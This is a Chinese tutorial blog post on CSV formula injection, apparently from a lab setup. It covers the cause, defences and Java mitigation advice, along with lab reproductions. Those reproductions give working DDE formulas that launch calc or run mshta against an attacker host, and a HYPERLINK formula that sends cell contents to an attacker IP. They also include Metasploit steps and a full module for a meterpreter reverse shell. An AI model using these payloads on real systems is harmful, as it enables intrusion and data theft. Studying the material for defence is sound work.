CSV注入

漏洞简介:

CSV注入(CSV Injection)漏洞通常会出现在有导出文件(.csv/.xls)功能的网站中。当导出的文件内容可控时,攻击者通常将恶意负载(公式)注入到输入字段中,用户导出文件打开后,EXCEL会调用本身的动态功能,执行攻击者的恶意代码,从而控制用户计算机。

漏洞原理:

在xls表格中,输入=1+1,回车后看到表格变成2,+号被当作运算执行了
不只是+号, = 、- 、@这三个符号也会被excel解析成共事

在这里插入图片描述
DDE(Dynamic Data Exchange)协议:
DDE是Windows下进程间通信协议,是一种动态数据交换机制,使用DDE通讯需要两个Windows应用程序,其中一个作为服务器处理信息,另外一个作为客户机从服务器获得信息。DDE支持Microsoft Excel,LibreOffice和Apache OpenOffice。 Excel、Word、Rtf、Outlook都 可以使用这种机制,根据外部应用的处理结果来更新内容。因此,如果我们制作包含DDE公式的CSV文件,那么在打开该文件时,Excel就会尝试执行外部应用

  • 较老的版本如office 2016 MSO(16.0.4266.1001)默认使用该协议
  • 新版本需要手动开启配置:文件->选项->信任中心->信任中心设置->外部内容->启用动态数据交换服务器启动
    在这里插入图片描述

防御方法:

这种攻击很难缓解,并且从许多漏洞赏金计划中都明确禁止了这种攻击。
1、 禁止特殊符号
请确保没有任何单元格以下列任何字符开头:
等于(“ =”)
加号(“ +”)
减号(“-”)
在 (”@”)
2、 点引号保护
单元格的开头添加单引号’,表示excel中该单元格不包含公式,并且在查看MS Excel时,在单元格中作为第一个字符输入时不会显示

实验

1.本地复现

在单元格输入:=1*cmd|’ /C calc’!‘A1’ //cmd /c执行cmd命令后关闭窗口
出现安全提示的弹窗,点击是,就会弹出计算器
在这里插入图片描述
在这里插入图片描述

2.恶意网站(钓鱼)

在单元格输入:=HYPERLINK(“http://baidu.com”,“点我去百度”) // hyperlink,超链接函数
用户点击文字,会自动打开默认浏览器访问百度页面,无警告
在这里插入图片描述
可以配合IE浏览器漏洞、Flash等漏洞获取shell
CVE-2018-8174
CVE-2018-4878

3.窃取单元格信息

开启kali的web服务:service apache2 start
web日志:/var/log/apache2/access.log
单元格输入:=HYPERLINK(“http://192.168.200.140//”&D2&D3,“Error: Please click me!”)
用户点击访问后,把D2、D3内容以访问文件形式发送给攻击者,攻击者查看web日志可获取信息
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

CVE-2018-10504
CVE-2019-15092

3.反弹shell-1

kali(攻击机):192.168.200.140
靶机(win10):192.168.200.150
使用模块:exploit/windows/fileformat/office_word_hta
payload/windows/meterpreter/reverse_http
加载模块office_word_hta
在这里插入图片描述
设置payload
use payload/windows/meterpreter/reverse_http
set lhost 192.168.200.140 #kali的IP
set ExitSession false
exploit
在这里插入图片描述
在这里插入图片描述
靶机win10新建表格,内容插入+1+cmd|‘/c mshta.exe http://192.168.200.140:8080/default.hta’!A0
表格弹出提示框,点击确认后,win10上线
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

4.反弹shell-2

kali(攻击机):192.168.200.140
靶机(win10):192.168.200.150
代码出处

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
  
  
class MetasploitModule  < Msf::Exploit::Remote
  Rank = NormalRanking
  
  include Msf::Exploit::Remote::HttpServer
  
  def initialize(info  = {})
    super(update_info(info,
      'Name' => 'Microsoft Office Payload Delivery',
      'Description' => %q{
        This module generates an command to place within
        a word document, that when executed, will retrieve a HTA payload
        via HTTP from an web server. Currently have not figured out how
        to generate a doc.
      },
      'License' => MSF_LICENSE,
      'Arch' => ARCH_X86,
      'Platform' => 'win',
      'Targets' =>
        [
          ['Automatic', {} ],
        ],
      'DefaultTarget' => 0,
    ))
  end
  
  def on_request_uri(cli, _request)
    print_status("Delivering payload")
    p = regenerate_payload(cli)
    data = Msf::Util::EXE.to_executable_fmt(
      framework,
      ARCH_X86,
      'win',
      p.encoded,
      'hta-psh',
      { :arch => ARCH_X86, :platform => 'win '}
    )
    send_response(cli, data, 'Content-Type' => 'application/hta')
  end
  
  
  def primer
    url = get_uri
    print_status("Place the following DDE in an MS document:")
    print_line("mshta.exe \"#{url}\"")
  end
end

将ruby文件放置到kali的msf目录:/usr/share/metasploit-framework/modules/exploits/windows/smb/msh_shell.rb
启动数据库:service postgresql start
启动msf:msfconsole
重置数据库:reload_all
查询新建msh_shell模块:search msh_shell
加载 msh_shell模块:use exploit/windows/smb/msh_shell 或者 use 0
设置监听payload:
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.206.128(kali的IP)
set uripath csv
exploit
在这里插入图片描述
win10新建excel,单元格插入+1+cmd|‘/c mshta.exe http://192.168.200.140:8080/csv’!A0
在这里插入图片描述

点击确定后(杀软会提示,再次点击允许),win10就上线了
在这里插入图片描述
在这里插入图片描述
连接shell,输入dir可看到当前目录及文件
在这里插入图片描述
输入shell,进入cmd命令
在这里插入图片描述

  • 2
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
在Java中,可以通过以下方式来对CSV注入进行输入验证、输出过滤以及使用安全的CSV解析库: 1. 输入验证 在读取CSV数据之前,应该对用户输入进行验证,主要包括以下方面: - 数据类型:验证输入数据的类型是否正确,例如字符串、整数、浮点数等。 - 数据长度:验证输入数据的长度是否在合法范围内,例如限制字符串长度。 - 数据格式:验证输入数据的格式是否符合要求,例如日期格式、邮箱格式等。 - 特殊字符:验证输入数据中是否包含特殊字符,例如单引号、双引号、分号等。 可以使用Java自带的正则表达式库或者第三方库进行输入验证。 2. 输出过滤 在输出CSV数据之前,应该对数据进行过滤和转义,主要包括以下方面: - 特殊字符:对输出数据中的特殊字符进行转义,例如单引号、双引号、分号等。 - HTML标签:对输出数据中的HTML标签进行转义,以防止攻击者注入恶意代码。 - 敏感数据:对输出敏感数据进行模糊处理或者隐藏,以保障用户的隐私。 可以使用Java自带的字符串处理函数或者第三方库进行输出过滤和转义。 3. 使用安全的CSV解析库 在Java中,可以使用一些开源的CSV解析库,例如Apache Commons CSV、OpenCSV等,这些库提供了安全可靠的CSV解析功能,并且自动进行输入验证和输出过滤,避免了手动处理数据带来的不安全因素。 使用这些库时,应该注意版本更新,及时更新到最新版本,以保障系统的安全性。 综上所述,对CSV注入进行输入验证、输出过滤以及使用安全的CSV解析库是保障系统安全的重要措施,开发人员应该注重安全性,保障用户数据的安全。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值